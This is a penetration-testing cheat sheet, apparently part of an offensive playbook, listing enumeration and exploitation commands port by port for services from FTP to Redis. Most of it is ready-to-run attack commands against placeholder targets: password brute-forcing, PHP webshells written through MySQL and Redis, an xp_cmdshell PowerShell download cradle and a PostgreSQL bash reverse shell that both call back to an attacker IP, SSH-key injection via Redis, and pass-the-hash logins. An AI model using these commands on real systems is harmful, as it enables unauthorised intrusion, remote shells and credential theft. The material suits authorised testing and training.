Service Enumeration (Port-by-Port)

reference 117 commands 10 tools

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yieldsExternal access onlyValid usernamesCrackable hashroot (Linux)

toolsnmapmetasploitgobusterenum4linuxcrackmapexecimpacketrpcclientldapsearchkerbruteevil-winrm

FTP · Port 21

Check anonymous access first · this works more often than you'd think

ftp <TARGET-IP>            # login: anonymous / anonymous or anonymous / (blank)

ftp <TARGET-IP>            # try: anonymous / email@email.com

Nmap FTP scripts

nmap --script ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor -p 21 <TARGET-IP>

Brute force (after you have a username)

hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ftp://<TARGET-IP>

Recursive download everything from FTP

wget -m --no-passive ftp://anonymous:anonymous@<TARGET-IP>/

What to look for

Anonymous login, writable directories, interesting files (configs, backups, credentials), software version for CVE lookup.

Most common exploit path

Anonymous access with sensitive files → or vsftpd 2.3.4 backdoor (smiley face exploit) → Metasploit exploit/unix/ftp/vsftpd_234_backdoor

SSH · Port 22

Banner grab · version matters for CVE research

nc -nv <TARGET-IP> 22

ssh -V    # local version check

Check for weak algorithms (older boxes)

nmap --script ssh2-enum-algos -p 22 <TARGET-IP>

Username enumeration (OpenSSH < 7.7)

python3 /usr/share/exploitdb/exploits/linux/remote/45939.py <TARGET-IP> <USERNAME>

Brute force (last resort · noisy)

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<TARGET-IP>

hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/rockyou.txt ssh://<TARGET-IP>

Try found credentials or default creds

ssh <USER>@<TARGET-IP>

ssh -i id_rsa <USER>@<TARGET-IP>     # if you found a private key

Most common exploit path

Found creds/key from another service → SSH in. Rarely the primary exploit vector unless ancient OpenSSH version.

SMTP · Port 25 / 587

Enumerate valid users via VRFY/EXPN

nc -nv <TARGET-IP> 25

VRFY root

VRFY admin

EXPN postmaster

Automated user enum

smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t <TARGET-IP>

smtp-user-enum -M RCPT -U /usr/share/wordlists/metasploit/unix_users.txt -t <TARGET-IP>

Nmap SMTP scripts

nmap --script smtp-enum-users,smtp-commands,smtp-open-relay -p 25 <TARGET-IP>

Most common exploit path

Username enumeration → password spray those usernames on other services (SSH, web login, SMB).

DNS · Port 53

Zone transfer · gold mine if it works

dig axfr <DOMAIN> @<TARGET-IP>

host -l <DOMAIN> <TARGET-IP>

Reverse lookup

dig -x <TARGET-IP> @<TARGET-IP>

Standard queries

dig any <DOMAIN> @<TARGET-IP>

dig ns <DOMAIN> @<TARGET-IP>

dig mx <DOMAIN> @<TARGET-IP>

Subdomain brute force

gobuster dns -d <DOMAIN> -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r <TARGET-IP>

Most common exploit path

Zone transfer reveals internal hostnames and IPs → more targets to enumerate.

HTTP/HTTPS · Port 80 / 443 / 8080 / 8443

→ See Web Application PT Methodology for the full deep dive.

Quick checks while reading full methodology

whatweb http://<TARGET-IP>

nikto -h http://<TARGET-IP> -o scans/nikto.txt

curl -IL http://<TARGET-IP>

Directory brute force · start immediately

gobuster dir -u http://<TARGET-IP> -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,bak -o scans/gobuster.txt

Check robots.txt and sitemap

curl http://<TARGET-IP>/robots.txt

curl http://<TARGET-IP>/sitemap.xml

SMB · Port 139 / 445

Null session and share enumeration

smbclient -L //<TARGET-IP> -N

smbclient -L //<TARGET-IP> -U ""

enum4linux -a <TARGET-IP> | tee scans/enum4linux.txt

enum4linux-ng -A <TARGET-IP> | tee scans/enum4linux-ng.txt

CrackMapExec · fast SMB recon

crackmapexec smb <TARGET-IP>

crackmapexec smb <TARGET-IP> -u '' -p '' --shares

crackmapexec smb <TARGET-IP> -u 'guest' -p '' --shares

Nmap SMB scripts

nmap --script smb-enum-shares,smb-enum-users,smb-os-discovery,smb-security-mode -p 139,445 <TARGET-IP>

nmap --script smb-vuln-ms17-010 -p 445 <TARGET-IP>      # EternalBlue check

Connect to a share

smbclient //<TARGET-IP>/sharename -N

smbclient //<TARGET-IP>/sharename -U username

Mount share

mount -t cifs //<TARGET-IP>/sharename /mnt/smb -o user=<USER>,password=<PASS>

Recursive download

smbclient //<TARGET-IP>/sharename -N -c "recurse; prompt; mget *"

Most common exploit path

Anonymous/null session → find files with creds → use creds elsewhere. Or: MS17-010 (EternalBlue) → SYSTEM shell via Metasploit or manual.

RPC / MSRPC · Port 135 (rpcbind 111)

Windows MSRPC: dump the endpoint mapper

impacket-rpcdump <TARGET-IP>

Null-session rpcclient: users, groups, and password policy with no creds

rpcclient -U "" -N <TARGET-IP>

Inside rpcclient: enumdomusers ; queryuser 0x1f4 ; enumdomgroups ; getdompwinfo ; lsaenumsid

Linux rpcbind (111): list registered RPC services

rpcinfo <TARGET-IP>

Most common exploit path

Null-session rpcclient dumps the user list and password policy → build a spray list. On Linux, rpcinfo exposes NFS/NIS to pivot.

LDAP · Port 389 / 636

Anonymous bind: discover the base DN, then dump the directory tree

ldapsearch -x -H ldap://<TARGET-IP> -s base namingcontexts

ldapsearch -x -H ldap://<TARGET-IP> -b "<BASE-DN>"

Users and groups (anonymous, or add -D/-w for authenticated)

ldapsearch -x -H ldap://<TARGET-IP> -b "<BASE-DN>" "(objectClass=user)" sAMAccountName

ldapsearch -x -H ldap://<TARGET-IP> -D "<USER>@<DOMAIN>" -w "<PASS>" -b "<BASE-DN>"

nmap LDAP scripts

nmap -p 389 --script ldap-rootdse,ldap-search <TARGET-IP>

With creds: dump the whole domain to browsable HTML

ldapdomaindump -u "<DOMAIN>\<USER>" -p "<PASS>" ldap://<TARGET-IP>

Most common exploit path

Anonymous bind or any domain credential → full user, group, and computer list plus description fields (passwords hide here) → feeds Kerberoasting and BloodHound (see the AD Attack Path).

Kerberos · Port 88

Username enumeration via Kerberos pre-auth: no creds, no lockout, very quiet

kerbrute userenum -d <DOMAIN> --dc <DC-IP> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

AS-REP roast users that do not require pre-auth (from a username list)

impacket-GetNPUsers <DOMAIN>/ -dc-ip <DC-IP> -usersfile users.txt -no-pass

Validate a credential and request a TGT (seeds pass-the-ticket)

impacket-getTGT <DOMAIN>/<USER>:<PASS> -dc-ip <DC-IP>

Most common exploit path

Kerbrute confirms valid usernames off a wordlist with zero lockout risk → AS-REP roast the ones without pre-auth → crack offline. The classic unauthenticated way into AD (see the AD Attack Path).

SNMP · Port 161 (UDP)

Community string brute force

onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt <TARGET-IP>

Full SNMP walk (once you have community string · default is 'public')

snmpwalk -c public -v1 <TARGET-IP>

snmpwalk -c public -v2c <TARGET-IP>

Useful OIDs to target specifically

snmpwalk -c public -v1 <TARGET-IP> 1.3.6.1.4.1.77.1.2.25    # Users

snmpwalk -c public -v1 <TARGET-IP> 1.3.6.1.2.1.25.4.2.1.2   # Running processes

snmpwalk -c public -v1 <TARGET-IP> 1.3.6.1.2.1.25.6.3.1.2   # Installed software

snmpwalk -c public -v1 <TARGET-IP> 1.3.6.1.2.1.6.13.1.3     # Open TCP ports

snmp-check for formatted output

snmp-check <TARGET-IP> -c public

Most common exploit path

Community string = 'public' → user list → password spray. Or: full MIB walk reveals credentials in process list or config.

NFS · Port 111 / 2049

Show available NFS shares

showmount -e <TARGET-IP>

nmap -sV --script=nfs-showmount <TARGET-IP>

Mount a share

mkdir /mnt/nfs

mount -t nfs <TARGET-IP>:/share /mnt/nfs -nolock

ls -la /mnt/nfs

Check for no_root_squash (game over: exploit covered in Linux PrivEsc)

cat /etc/exports    # on target if you have shell access

Most common exploit path

World-readable share with sensitive files → or no_root_squash → copy SUID bash → root shell.

MySQL · Port 3306

Connect (try root with no password)

mysql -h <TARGET-IP> -u root -p

mysql -h <TARGET-IP> -u root --password=""

Nmap MySQL scripts

nmap --script mysql-empty-password,mysql-info,mysql-databases -p 3306 <TARGET-IP>

Once in · key commands

show databases;

use <db>;

show tables;

select * from users;

select user,password from mysql.user;    # Password hashes

File read/write (if FILE privilege granted)

SELECT LOAD_FILE('/etc/passwd');

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';

MSSQL · Port 1433

Connect with impacket

impacket-mssqlclient <USER>:<PASS>@<TARGET-IP>

impacket-mssqlclient <DOMAIN>/<USER>:<PASS>@<TARGET-IP> -windows-auth

Nmap MSSQL scripts

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-config -p 1433 <TARGET-IP>

CrackMapExec

crackmapexec mssql <TARGET-IP> -u <USER> -p <PASS>

Enable xp_cmdshell for RCE (if sa user or sysadmin role)

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

EXEC xp_cmdshell 'whoami';

EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(\"http://<YOUR-IP>/shell.ps1\")"';

PostgreSQL · Port 5432

Connect: try default postgres:postgres or a blank password

psql -h <TARGET-IP> -U postgres

PGPASSWORD=<PASS> psql -h <TARGET-IP> -U <USER> -l

nmap PostgreSQL scripts

nmap -p 5432 --script pgsql-brute <TARGET-IP>

RCE via COPY ... TO PROGRAM (needs superuser, PostgreSQL 9.3+)

Inside psql: COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/<YOUR-IP>/<LPORT> 0>&1"';

Most common exploit path

Default postgres:postgres → if the role is superuser, COPY ... TO PROGRAM runs OS commands → reverse shell.

RDP · Port 3389

Check if RDP is actually running

nmap --script rdp-enum-encryption,rdp-vuln-ms12-020 -p 3389 <TARGET-IP>

Brute force (use sparingly · account lockout risk)

hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://<TARGET-IP>

crowbar -b rdp -s <TARGET-IP>/32 -u <USER> -C /usr/share/wordlists/rockyou.txt

Connect

xfreerdp /u:<USER> /p:<PASS> /v:<TARGET-IP>

xfreerdp /u:<USER> /p:<PASS> /v:<TARGET-IP> /cert:ignore /dynamic-resolution

Pass-the-Hash via RDP (requires restricted admin mode enabled)

xfreerdp /u:<USER> /pth:<NTLM-HASH> /v:<TARGET-IP>

WinRM · Port 5985 / 5986

Check if WinRM is open and accessible

crackmapexec winrm <TARGET-IP> -u <USER> -p <PASS>

Connect with evil-winrm

evil-winrm -i <TARGET-IP> -u <USER> -p <PASS>

evil-winrm -i <TARGET-IP> -u <USER> -H <NTLM-HASH>    # Pass-the-Hash

Upload/download files within evil-winrm session

upload /path/to/local/file.exe

download C:\path\to\file.txt

Redis · Port 6379

Connect (often no auth)

redis-cli -h <TARGET-IP>

redis-cli -h <TARGET-IP> -a <PASSWORD>

Info dump

info

config get *

keys *

RCE via SSH key injection (if /root/.ssh is writable)

config set dir /root/.ssh

config set dbfilename authorized_keys

set pwned "\n\n\nssh-rsa AAAA...YOUR-PUBLIC-KEY...\n\n\n"

save

RCE via webshell (if web root is known and writable)

config set dir /var/www/html

config set dbfilename shell.php

set test "<?php system($_GET['cmd']); ?>"

save

connected

leads to

AS-REP Roasting

via rpcclient

Initial Enumeration

via enum4linux

Service Enumeration Deep Dive

in playbooks

Enumeration Strategy Active Directory Attack Path